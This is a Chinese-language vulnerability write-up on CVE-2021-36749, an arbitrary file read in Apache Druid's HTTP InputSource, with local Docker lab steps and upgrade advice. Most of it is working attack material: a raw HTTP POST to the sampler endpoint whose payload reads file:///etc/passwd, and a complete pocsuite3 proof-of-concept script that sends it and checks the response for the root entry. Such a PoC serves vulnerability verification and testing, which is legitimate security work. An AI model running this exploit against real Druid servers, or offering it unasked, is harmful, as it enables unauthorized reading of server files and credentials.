在 Druid 系统中,InputSource 用于从某个数据源读取数据。但是,HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据,例如本地文件系统。
这不是用户直接访问 Druid 时的权限提升,因为 Druid 还提供了 Local InputSource,它允许相同级别的访问。但是当用户通过允许用户指定 HTTP InputSource 而不是 Local InputSource 的应用程序间接与 Druid 交互时,这是有问题的。
在这种情况下,用户可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。这个问题之前提到过,根据 CVE-2021-26920 在 0.21.0 中已修复,但在 0.21.0 或 0.21.1 中未修复。
影响范围 : Apache Druid < 0.21.0
URLS写入payload
file:///etc/passwd
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 423
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/unified-console.html
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
pocsuite3
from collections import OrderedDict
from urllib.parse import urljoin
import re,os
from requests_toolbelt import MultipartEncoder
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class TestPOC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = ['yo1o'] # PoC作者的大名
vulDate = '2022-09-06' #漏洞公开的时间,不知道就写今天
createDate = '2022-09-06' # 编写 PoC 的日期
updateDate = '2022-09-06' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)' # PoC 名称
appPowerLink = '' # 漏洞厂商主页地址
appName = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)' # 漏洞应用名称
appVersion = '''ALL''' # 漏洞影响版本
vulType = VUL_TYPE.ARBITRARY_FILE_READ #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
Apache Druid 文件读取漏洞 (CVE-2021-36749)Apache Apache Druid <= 0.21.1
'''
samples = [''] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [''] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
category = POC_CATEGORY.EXPLOITS.REMOTE
def _verify(self):
result = {}
path = "/druid/indexer/v1/sampler?for=connect"
url = self.url + path
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
"Content-Type": 'application/json;charset=UTF-8'
}
data={"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
try:
resq = requests.post(url=url,headers=headers,json=data)
if resq.status_code==200 and re.search('root:[x*]?:0:0:', resq.text).group() in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['body'] = resq.text
except Exception as e:
return
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)
本地验证
下载:https://github.com/apache/druid/archive/druid-0.20.0.zip
unzip解压后,进入druid-druid-0.20.0/distribution/docker目录,进行安装
cd druid-druid-0.20.0/distribution/docker
docker-compose up -d
升级到0.21.0或更高版本